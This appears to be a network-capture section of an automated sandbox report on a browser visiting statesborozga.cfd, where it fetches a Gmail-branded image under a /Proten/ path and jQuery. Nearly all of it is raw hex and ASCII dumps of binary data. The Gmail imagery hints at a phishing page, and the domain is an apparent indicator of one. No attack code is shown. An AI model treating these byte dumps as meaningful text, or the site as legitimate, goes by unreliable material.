FZSy0UJ^XX:^z4:^]Ni:.y:<:#6qm(?OO+_W~#\|JtW+E4}9{O63-OXFO+c>&]%#~"^bH?f9v^.,CM>u\dY<Sqpz
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 14 f4 21 7b 34 fe 14 f8 19 6f a7 fc 16 f0 be 9a 99 54 b5 be d2 34 b3 ab 78 ff 00 56 2b 8e 5d 7c 69 ab ea ca 58 e7 fe 40 fa 08 1b 40 e7 f2 0e bd e3 f6 aa f1 0c de 2a fd a8 7f 68 ff 00 14 df cd e7 de 78 83 e3 ff 00 c5 cd 5a e7 b7 0f f1 37 c5 cf 8f c0 37 5a f0 6f 38 fb fe 42 bc 1e 22 cc 6a e6 b9 fe 73 98 56 97 3c f1 59 96 32 a2 97 fd 3b f6 f3 8d 14 b6 d2 14 a3 1a 6b 45 a4 13 69 5e cb f5 2f 06 38 5b 2f e0 4f 09 7c 36 e0 ec b6 8d 2a 38 5e 1c e0 8e 17 cb 2d 49 fb b5 71 34 f2 4c 05 6c c7 17 3d 35 c4 e3 b3 4a d8 ec 76 36 57 7e d7 1b 89 c4 56 f7 7d af 24 7f a4 0f f8 36 c7 e3 2d f6 81 fb 4f 7c 5c f8 1f 71 73 31 f0 f7 c4 bf 85 4d e3 4b 4d 3d ca ed 1e 2f f8 7b e2 4d 22 21 a9 28 23 21 a4 d0 bc 5f ad 46 c7 27 23 49 5d ab 95 e7 f7 13 fe 0b 7b fb 2c 59 7e d1 bf b0 df 8f Data Ascii: !{4oT4xV+]\|iX@@hxZ77Zo8B"jsV<Y2;kEi^/8[/O\|68^-Iq4Ll=5Jv6W~V}$6-O\|\qs1MKM=/{M"!(#!_F'#I]{,Y~
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: da be cf 48 27 e5 7b 6b 6b bf de 7c 39 ce a9 67 fe 1e f0 26 7f 87 97 b4 c3 e7 bc 19 c2 d9 c5 09 df e2 a3 98 e4 58 0c 4d 17 b6 b7 a5 52 12 be 97 e6 db 43 fa 10 ff 00 83 6f 3c 31 fd b9 fb 74 78 f7 c4 4f 1e 2d bc 15 fb 3a 78 b6 eb 2d ff 00 41 1f 14 f8 e3 e1 d6 8c b8 f6 58 ce b1 90 30 30 39 e0 57 f7 3d 5f c9 2f fc 1b 11 f0 ec 9b 6f da d7 e2 f5 cd b8 66 9a f7 e1 87 c3 2d 22 e0 f0 07 f6 4a f8 c3 c5 7a d9 ce 7e f1 4d 63 c2 98 e0 83 b5 b8 f5 fe b5 df a0 fa ff 00 43 5f d7 5e 0e e0 de 17 81 32 fa 92 49 4b 1d 8c cc b1 ae c9 6b 1a 98 ba 94 e3 2d ef ef 2a 37 d5 2b 27 65 74 ae ff 00 e7 6f f6 90 71 1d 3c fb e9 59 c6 78 3a 52 73 87 0b e4 bc 23 c3 ca 5a 38 b9 ff 00 ab f8 2c f3 11 cb 64 ac be b7 9d e2 13 8f bc d3 57 e6 f7 92 5f e6 11 fb 78 5a c1 a5 fe db 9f b6 06 9b 6b 91 Data Ascii: H'{kk\|9g&XMRCo<1txO-:x-AX009W=_/of-"Jz~McC_^2IKk-*7+'etoq<Yx:Rs#Z8,dW_xZk
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 6f f7 c2 81 f0 e7 fe 09 cf e0 7f 11 dc da 8b 7b ff 00 8c be 3c f8 81 f1 3e e4 31 3f 69 36 72 ea 83 c1 da 2a c9 8e 77 0d 1b c2 51 30 e4 30 0c 30 32 c4 d7 ec a7 8a fc 49 a7 78 4f c3 1e 23 f1 56 a6 e2 2d 33 c3 1a 36 a3 ad de 3f 00 8b 3d 2a c0 df bf 3f ee ab 0e 3a 80 07 a9 af 2b fd 9a 7e 15 5a 7c 09 f8 05 f0 6f e0 d5 b2 5b 85 f8 5d f0 cb c0 9e 04 77 b7 65 65 ba ba f0 d7 87 34 ad 23 51 be 07 93 ba 4d 55 6f a5 70 73 96 6d fd 19 40 f9 e7 fe 0a 83 f1 3e 3f 84 1f f0 4f 9f da db c6 b0 c8 b0 de 47 f0 77 c5 9e 19 d2 e6 23 3b 3c 41 f1 14 0f 87 7a 11 19 e0 15 d6 7c 51 6c c0 f6 61 90 73 5f d6 39 75 15 c2 fc 21 87 a7 34 92 c9 72 1f 69 59 2d 39 6b 61 30 2a be 2b 5f 7a ca 58 88 d6 4a ed d9 c9 3b 3f 84 ff 00 9f 1e 33 cd 6a f8 f1 f4 8e cf 71 b8 39 54 aa fc 51 f1 72 a6 13 26 Data Ascii: o{<>1?i6rwQ0002IxO#V-36?=?:+~Z\|o[]wee4#QMUopsm@>?OGw#;<Az\|Qlas_9u!4riY-9ka0*+_zXJ;?3jq9TQr&
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 25 8b af 08 d7 8a eb ae 16 15 db d5 5e c8 fe 13 fa 03 70 3c b8 df e9 47 e1 eb 9d 15 57 03 c1 ff 00 da bc 75 8f 93 4d ac 3b e1 dc 0c e5 94 62 65 ac 54 63 47 88 f1 59 33 94 9b 7c aa 57 49 bd 0f e7 6e 8a 87 cd f7 5f cf ff 00 af 4d af e3 33 fe 98 fd a7 97 e3 ff 00 00 b1 45 57 a2 82 1c e3 3f 85 de db fc ed 61 de 6f ba fe 7f fd 7a 3c df 75 fc ff 00 fa f4 da 28 32 f6 9e 5f 8f fc 00 a2 8a 28 0f 69 e5 f8 ff 00 c0 0a 28 a8 fc cf 6f d7 ff 00 ad 55 18 f3 5f 5b 58 c6 52 e5 b6 97 b9 25 14 55 7a af 67 e7 f8 7f c1 27 da 79 7e 3f f0 09 3c cf 6f d7 ff 00 ad 47 99 ed fa ff 00 f5 aa 3a 2b 43 19 4b 96 da 5e e1 45 14 9e 71 f7 fc 85 04 fb 4f 2f c7 fe 00 b4 54 1e 70 f6 fc 8d 25 07 3f b4 f2 fc 7f e0 13 f9 c7 df f2 15 05 43 e6 fb af e7 ff 00 d7 a6 d0 4c a5 cd 6d 2d 62 c5 43 e6 fb Data Ascii: %^p<GWuM;beTcGY3\|WIn_M3EW?aoz<u(2_(i(oU_[XR%Uzg'y~?<oG:+CK^EqO/Tp%?CLm-bC
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 92 8a 8f cc f6 fd 7f fa d4 79 9e df af ff 00 5a b2 f6 7e 7f 87 fc 13 bf da 79 7e 3f f0 09 28 a8 fc cf 6f d7 ff 00 ad 47 99 ed fa ff 00 f5 a8 f6 7e 7f 87 fc 10 f6 9e 5f 8f fc 02 4a 2a 3f 33 db f5 ff 00 eb 51 e6 7b 7e bf fd 6a 3d 9f 9f e1 ff 00 04 3d a7 97 e3 ff 00 00 92 8a 8f cc f6 fd 7f fa d4 79 9e df af ff 00 5a 8f 67 e7 f8 7f c1 0f 69 e5 f8 ff 00 c0 24 a2 a3 f3 3d bf 5f fe b5 1e 67 b7 eb ff 00 d6 a3 d9 f9 fe 1f f0 43 da 79 7e 3f f0 09 28 a2 ab d1 ec fc ff 00 0f f8 21 ed 3c bf 1f f8 05 8a 2a bd 14 7b 3f 3f c3 fe 08 7b 49 74 d3 be bb fe 5f d3 2c 54 7e 67 b7 eb ff 00 d6 a8 e8 a3 d9 f9 fe 1f f0 43 da 79 7e 3f f0 09 3c cf 6f d7 ff 00 ad 47 99 ed fa ff 00 f5 aa 3a 2b 4b 45 ee af db 5f f8 0c c6 53 8a b5 9f 35 f7 e9 6d bd 7b fd e9 92 79 9e df af ff 00 5a 8f 33 Data Ascii: yZ~y~?(oG~_J?3Q{~j==yZgi$=_gCy~?(!<{??{It_,T~gCy~?<oG:+KE_S5m{yZ3
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: ee bf 9f ff 00 5e 80 f6 9e 5f 8f fc 02 ef 9c 7d ff 00 21 47 9c 7d ff 00 21 54 bc df 75 fc ff 00 fa f4 79 be eb f9 ff 00 f5 e8 26 53 93 b5 9f 2d b7 eb 7d 57 a7 6f c5 97 7c e3 ef f9 0a 87 ce 1e df 91 aa d4 50 49 62 bf 62 7f e0 86 bf b2 d9 fd a4 ff 00 6f 7f 87 da d6 b5 a6 9b ef 01 fc 02 b5 3f 1a 7c 5e f7 3f f2 0f ba d5 34 8d 4c 0f 87 3a 4a ee 20 33 ff 00 c2 74 da 36 be 10 6e 24 f8 43 5c 18 e4 15 fc 6e af ef 77 fe 0d e9 fd 94 d7 e0 67 ec 5f 17 c6 4f 10 69 a2 db c7 5f b4 e6 ba 3c 7c 5e e4 21 be b3 f8 65 a4 16 d2 7e 1d 69 52 82 c7 05 e3 1a df 8e 51 80 da 57 c6 8b f2 89 36 e3 ef 3c 36 c8 bf b7 78 b3 01 4e a4 39 b0 98 04 f3 3c 64 9f c3 ec f0 95 29 4e 8d 2a 9a ab d3 ab 8b fa ba 94 53 bb e5 4d 7c 2c fe 47 fa 6d f8 b0 bc 27 f0 07 8a f1 78 3c 4f b0 e2 3e 30 a7 2e 06 Data Ascii: ^_}!G}!Tuy&S-}Wo\|PIbbo?\|^?4L:J 3t6n$C\nwg_Oi_<\|^!e~iRQW6<6xN9<d)N*SM\|,Gm'x<O>0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	172.67.137.170	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:02 UTC	609	OUT	GET /Proten/images/gmail.png HTTP/1.1 Host: statesborozga.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://statesborozga.cfd/Proten/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:02 UTC	666	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 22:28:02 GMT Content-Type: image/png Content-Length: 66743 Connection: close Last-Modified: Mon, 13 Jan 2020 22:06:14 GMT Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r%2FWqEcsuMZw90Yi1wCcLmgk0LWN7y6d3Wg57Pfsg2fIc5RlMRm%2FYlClg5hxiDL%2Bhz0tZuZo57c5mw1Z3itwVHCE%2BdymOKkGu9o6%2FQqkAmkeQCSmWWmqecDHdtmBHzwdN5NFO1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 875fd88ace69b06a-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 22:28:02 UTC	703	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 00 00 00 05 00 08 06 00 00 00 18 e4 ff f7 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 b8 8c 00 00 b8 8c 01 cc f6 bb 2f 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 7b 78 9c 75 9d f7 f1 cf ef 9e 49 d2 73 53 0a a5 39 51 28 05 85 4a a1 4c 26 c9 24 05 83 56 7c 10 10 05 ba e2 09 1f c5 23 ae 0a 22 a2 ac b2 5a 77 d1 65 45 51 76 f5 51 f1 84 c8 aa 55 14 41 5d 39 56 68 9b a4 49 38 da aa a0 14 48 32 29 60 a1 85 a6 cd 69 ee ef f3 07 07 29 f4 90 c3 cc fc 66 ee 79 bf bc b8 d4 b4 4c de 70 75 9a cc a7 bf 7b 6e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBIT\|dpHYs/tEXtSoftwarewww.inkscape.org< IDATx{xuIsS9Q(JL&$V\|#"ZweEQvQUA]9VhI8H2)`i)fyLpu{n
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: b9 d2 d3 32 65 76 f9 60 e0 06 25 ed 7c f6 6f 0c 07 9c 73 c3 16 6a 9b 0b 6c d4 42 b7 cd 05 1a 56 26 18 90 73 3b 62 f1 cc 50 66 67 f8 f4 d0 cc cc e8 21 ab ef d9 3a c9 7f 35 00 00 00 98 24 06 40 00 00 80 49 30 c9 3d ba 6c 59 e5 14 0d cd c9 8c 86 95 61 10 ab 0c 42 ab 34 67 95 e6 dc 9c 20 54 a5 39 57 69 66 95 ce a9 52 cf ff 6f a9 52 d2 74 27 cd 30 a9 cc f7 3f 47 2e 39 69 c4 a4 ed 92 06 4c da ea 9c db 2a b3 ad 26 f7 94 73 e1 56 67 6e 6b 68 6e eb 0b ff 3b 70 5b 83 30 b3 35 16 0f b6 0e aa e2 a9 83 d6 ac d9 ea 24 f3 fd cf 01 00 00 50 ac 18 00 01 00 00 5e 22 9d 48 4c 8b 4d 0d e6 8f 84 ee 40 a7 70 9e 93 3b 30 34 1d e8 e4 e6 39 d9 81 26 1d 28 69 9e 9e fd ef 39 9e 73 4b c5 93 92 3d 26 b9 27 24 6d 96 b3 c7 cc dc 13 81 d3 66 0b ed 31 0b 82 27 e2 a3 da 1c 66 32 8f 55 77 Data Ascii: 2ev`%\|osjlBV&s;bPfg!:5$@I0=lYaB4g T9WifRoRt'0?G.9iL*&sVgnkhn;p[05$P^"HLM@p;049&(i9sK=&'$mf1'f2Uw
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: be 83 00 00 28 15 0c 80 00 00 e4 d0 b3 77 eb 7d 28 65 2e 38 45 ce de 28 b9 23 7c 37 01 40 81 d8 64 d2 cd ce 74 e3 d6 67 76 fc 9e bb 0b 03 00 90 3b 0c 80 00 00 64 59 6f 43 c3 5c c5 f4 1a 49 a7 06 b2 37 72 f3 0e 00 d8 a7 01 49 b7 3b a7 1b 86 63 e1 0d 07 df d9 dd ef 3b 08 00 80 28 61 00 04 00 20 0b 1e 5b 96 5c 98 c9 e8 54 93 4e 91 d4 2a 29 ee 39 09 00 8a 55 28 a7 bb 25 77 a3 cb b8 1b b8 b3 30 00 00 93 c7 00 08 00 c0 04 6c 58 bc b8 7c ce ac 69 af 31 d3 a9 72 3a 45 d2 41 be 9b 00 20 9a dc 23 92 dd e8 e4 6e 78 ea e9 81 db b9 54 18 00 80 f1 63 00 04 00 60 8c 36 b5 b6 4e 29 1f 1c 78 9d 39 9d e2 a4 37 4b 3a c0 77 13 00 94 98 ad 4e ba 39 94 bb 31 3e 30 f8 8b f9 f7 dd 37 e0 3b 08 00 80 62 c0 00 08 00 c0 5e f4 a4 52 53 03 1b 5d 6e ce ad 70 b2 d3 24 cd f2 dd 04 00 90 Data Ascii: (w}(e.8E(#\|7@dtgv;dYoC\I7rI;c;(a [\TN*)9U(%w0lX\|i1r:EA #nxTc`6N)x97K:wN91>07;b^RS]np$
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 45 26 55 f9 ee 01 00 00 7b f4 84 9c fb 46 68 b1 af d7 b5 b5 3d e9 3b 06 00 50 78 18 00 01 00 bb 78 ac b1 f1 c0 d1 98 7d c8 99 9d 67 d2 6c df 3d 00 00 60 ac dc 76 99 7d cf 2c f8 cf da 8e 8e 5e df 35 00 80 c2 c1 00 08 00 90 f4 c2 1d 7d 3f 2a a7 f7 4b 9a e2 bb 07 00 00 4c d8 b0 c9 fd 34 b0 e0 8b dc 39 18 00 20 31 00 02 40 c9 4b 37 25 8e 0d 5d ec 3c 27 7b 9b b8 a3 2f 00 00 51 12 4a fa ad 39 77 69 ed ba f5 6d be 63 00 00 fe 30 00 02 40 89 ea 69 aa 6f 8d 39 f7 af 26 b5 fa 6e 01 00 00 39 77 9b 73 fa 7c f5 ba ce 3b 7c 87 00 00 f2 8f 01 10 00 4a 4c ba 31 b1 cc 82 e0 73 92 5e eb bb 05 00 00 e4 dd 5a 99 fe a3 a6 bd f3 06 df 21 00 80 fc 61 00 04 80 12 f1 dc f0 f7 79 49 af f1 dd 02 00 00 bc 63 08 04 80 12 c2 00 08 00 11 97 6e 4c 2c 93 73 2b cd b9 13 7c b7 00 00 80 82 Data Ascii: E&U{Fh=;Pxx}gl=`v},^5}?*KL49 1@K7%]<'{/QJ9wimc0@io9&n9ws\|;\|JL1s^Z!ayIcnL,s+\|
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 7d ba b6 6d fd d5 be 43 00 a0 50 30 00 02 80 a4 f4 b2 c4 41 96 09 fe 5b d2 29 be 5b 00 00 00 90 0d ee 7a 0b dd 3f d7 76 74 f4 fa 2e 01 00 df 02 df 01 00 e0 93 49 2e dd 9c 7c bf 65 82 3f 8a f1 0f 00 00 20 42 ec 34 17 84 1b d2 a9 e4 c7 8c d7 be 00 4a 1c 27 00 01 94 ac cd 0d 0d 87 64 62 f6 1d 49 af f5 dd 02 00 00 80 9c ba 33 0c 83 73 ea 3a 3a 1e f4 1d 02 00 3e f0 a7 20 00 4a ce f3 a7 fe 32 31 dd 27 c6 3f 00 00 80 52 70 5c 10 84 f7 f4 35 37 5c c4 69 40 00 a5 88 13 80 00 4a ca a3 cd 89 43 e3 16 5c 65 52 ab ef 16 00 00 00 78 b1 56 81 9d 53 b3 b6 eb 2f be 43 00 20 5f 18 00 01 94 04 93 82 fe e6 e4 7b cd f4 15 49 d3 7d f7 00 00 00 c0 ab 9d 72 ee f3 d5 35 0b be ec 56 ad ca f8 8e 01 80 5c 63 00 04 10 79 fd 2d c9 c5 16 ea 7b 26 35 f8 6e 01 00 00 40 01 31 b5 3b c5 de Data Ascii: }mCP0A[)[z?vt.I.\|e? B4J'dbI3s::> J21'?Rp\57\i@JC\eRxVS/C _{I}r5V\cy-{&5n@1;
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 08 d7 8b f1 0f 00 00 00 c8 0d d3 e1 e6 32 ed 7d cd f5 a7 f9 4e 01 50 bc 18 00 01 8c db f3 ef f7 17 84 ee 06 49 95 be 7b 00 00 00 80 88 9b 25 73 bf ec 6b 6e f8 9c 71 25 1f 80 09 e0 37 0e 00 e3 f2 78 eb e2 19 a3 43 d3 bf 6f b2 33 7d b7 00 00 00 00 25 e8 67 b1 81 a1 f7 cc bf ef be 01 df 21 00 8a 07 03 20 80 31 7b b4 39 71 68 60 c1 af 9c f4 2a df 2d 00 00 00 40 e9 b2 fb 62 99 e0 4d f3 d7 af df e4 bb 04 40 71 e0 12 60 00 63 d2 9f 4a be 3a 66 41 1b e3 1f 00 00 00 e0 9b 5b 92 89 59 67 5f 53 72 b9 ef 12 00 c5 81 01 10 c0 3e f5 36 d5 9f 1f 4a b7 4a 3a c0 77 0b 00 00 00 00 49 d2 5c 39 fd ae af a9 e1 23 be 43 00 14 3e 2e 01 06 b0 47 d6 da 1a 4f 0f 0d 5c 21 e9 c3 be 5b 00 00 00 00 ec 9e 49 df de 3c 1c fe 73 7d 77 f7 88 ef 16 00 85 89 01 10 c0 6e 3d d1 d2 32 73 24 33 Data Ascii: 2}NPI{%sknq%7xCo3}%g! 1{9qh`*-@bM@q`cJ:fA[Yg_Sr>6JJ:wI\9#C>.GO\![I<s}wn=2s$3
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 54 ed bb 05 00 00 00 00 c6 e9 b1 98 b3 e5 f3 d7 75 fd d1 77 08 80 7f e0 3d 00 81 02 92 6e 6a 3a 42 0a 6e 13 e3 1f 00 00 00 80 e2 74 60 c6 dc ad 3d a9 c4 51 be 43 00 fc 03 27 00 81 02 d1 db 9c 3c c6 49 37 cb b4 bf ef 16 00 00 00 00 98 a4 a7 02 a7 d7 57 ad eb ec f4 1d 02 80 13 80 40 41 48 37 25 8e 75 a6 5b 18 ff 00 00 00 00 44 c4 9c d0 74 53 4f 53 a2 d1 77 08 00 06 40 c0 bb 74 4b 43 bd b9 e0 66 49 73 7d b7 00 00 00 00 40 16 55 c6 5c f0 fb de e6 86 94 ef 10 a0 d4 71 09 30 e0 51 6f 73 43 ca 99 fd 5e d2 4c df 2d 00 00 00 00 90 23 4f 5b 10 bc be 76 6d 47 bb ef 10 a0 54 31 00 02 9e f4 a5 ea 97 4a ee 56 49 73 7c b7 00 00 00 00 40 2e 39 69 9b 73 7a 1d ef 09 08 f8 c1 25 c0 80 07 bd cb 1a 8e 96 dc 2d 62 fc 03 00 00 00 50 02 4c 9a 1d 9a 6e 4a 37 36 26 7c b7 00 a5 88 Data Ascii: Tuw=nj:Bnt`=QC'<I7W@AH7%u[DtSOSw@tKCfIs}@U\q0QosC^L-#O[vmGT1JVIs\|@.9isz%-bPLnJ76&\|
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 9c ce ae 5e d7 79 8d ef 10 c0 17 06 40 94 ac 74 63 62 99 05 c1 2d 92 2a 7c b7 00 00 00 00 00 72 6a 38 90 4e ac 6a eb fc 83 ef 10 c0 07 06 40 94 a4 cd 0d 0d 87 64 62 d6 21 e9 00 df 2d 00 00 00 00 80 3c 70 fa 7b 68 99 54 5d db 5d 7f f5 9d 02 e4 1b ef 01 88 92 b3 a5 b1 71 56 26 66 37 88 f1 0f 00 00 00 00 4a 87 69 ff 40 c1 af 37 b5 1e 53 e9 3b 05 c8 37 06 40 94 94 ae 44 a2 6c 30 08 7f 21 69 b1 ef 16 00 00 00 00 40 be b9 23 ca 87 ca 7e 62 ad ad 71 df 25 40 3e 31 00 a2 a4 54 57 04 5f 93 b4 dc 77 07 00 00 00 00 c0 9b d7 a7 07 07 be e1 3b 02 c8 27 06 40 94 8c de a6 fa f3 cd f4 21 df 1d 00 00 00 00 00 cf 9c de d7 97 aa ff 67 df 19 40 be 70 13 10 94 84 be a6 e4 72 39 fd af a4 98 ef 16 00 00 00 00 40 41 c8 38 b9 93 ab db d6 ff de 77 08 90 6b 0c 80 88 bc fe a6 a6 83 Data Ascii: ^y@tcb-*\|rj8Nj@db!-<p{hT]]qV&f7Ji@7S;7@Dl0!i@#~bq%@>1TW_w;'@!g@pr9@A8wk
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: 5b a2 86 2f e6 00 00 00 00 c6 8b 91 20 27 46 2d 08 8e ab 5d db d1 ee 3b 04 a5 8b 13 80 f0 66 f3 92 25 d3 e5 82 1f 88 f1 2f 6b f8 93 3c 00 00 00 00 93 c1 6b 8a 9c 88 07 61 78 cd e3 ad 8b 67 f8 0e 41 e9 8a fb 0e 40 e9 ca 4c 2f ff 9a 64 8b 7c 77 14 b3 62 fd a2 5c ac dd 00 00 00 40 36 14 cb 29 bb 97 7e df 5e 2c dd 85 c8 a4 43 47 06 a7 fd 87 a4 0f fb 6e 41 69 e2 f9 0b 2f fa 9a ea df 28 e7 ae f7 dd 51 8c 0a 6d 3c 2b b4 1e 00 00 00 20 8a 0a ed c5 7b a1 f5 14 09 0b 03 3b a5 6e 6d d7 6f 7d 87 a0 f4 f0 9c 45 de a5 13 89 fd ad 3c b8 5f d2 7c df 2d c5 c4 e7 d0 c6 c8 07 00 00 00 14 2e 9f 2f ec 19 15 c6 c7 49 fd 61 c6 1d 55 bb 7e fd 16 df 2d 28 2d bc 07 20 f2 af 3c f6 4d 31 fe 8d 49 be df 7f 63 77 77 05 63 fc 03 00 00 00 0a 9b cf ef e3 79 dd 30 3e 26 55 b9 98 7d c7 77 Data Ascii: [/ 'F-];f%/k<kaxgA@L/d\|wb\@6)~^,CGnAi/(Qm<+ {;nmo}E<_\|-./IaU~-(- <M1Icwwcy0>&U}w
2024-04-17 22:28:02 UTC	1369	IN	Data Raw: d1 4b 35 25 51 af a9 c7 26 54 71 d8 61 13 f8 6c 7b 16 6e bc 5f 83 9f b9 40 f6 f4 b6 ac 3e 2e 00 00 00 50 cc dc 8c 99 aa 58 79 99 62 4b 8e cd ea e3 0e 3d f0 80 76 de d5 ad c1 ee 6e 0d dd 7b b7 ec e9 a7 ff f1 39 b3 3c 08 4e f6 54 20 23 e0 be b8 f7 d6 b4 ad ff ae ef 0a 14 bf d2 78 be 20 a7 d2 cb 12 07 59 26 f8 a3 a4 99 be 5b 72 69 a2 e3 df d8 2e b5 cd de 89 bf b1 8e 7e b1 43 0e d1 b4 e6 e3 34 fd f8 e3 35 65 c9 92 9c df b6 2c 7c f8 21 0d 5e 7c be ec f1 cd 39 fd 3c 00 00 00 40 31 70 73 f7 d7 94 4b bf aa e0 d0 c3 73 fb 89 cc 34 78 ef bd 1a b8 f3 0e ed 5c b7 46 a3 9b 36 fd a3 21 8b 63 e0 64 4f 04 4e f4 d5 48 09 8c 1a 5b 43 c5 5f 55 d7 d6 d6 e7 3b 04 c5 ad 04 9e 2b c8 b5 be e6 e4 f5 32 bd d1 77 47 ae f8 3a f5 97 ad e1 6f 97 d1 af ee 20 4d 7b 75 ab 66 9e 7c ca b3 Data Ascii: K5%Q&Tqal{n_@>.PXybK=vn{9<NT #x Y&[ri.~C45e,\|!^\|9<@1psKs4x\F6!cdONH[C_U;+2wG:o M{uf\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	151.101.130.137	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:02 UTC	572	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://statesborozga.cfd sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://statesborozga.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:02 UTC	565	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 17 Apr 2024 22:28:02 GMT Age: 863014 X-Served-By: cache-lga21963-LGA, cache-pdk-kfty2130020-PDK X-Cache: HIT, HIT X-Cache-Hits: 6, 2 X-Timer: S1713392882.330906,VS0,VE0 Vary: Accept-Encoding
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-04-17 22:28:02 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return 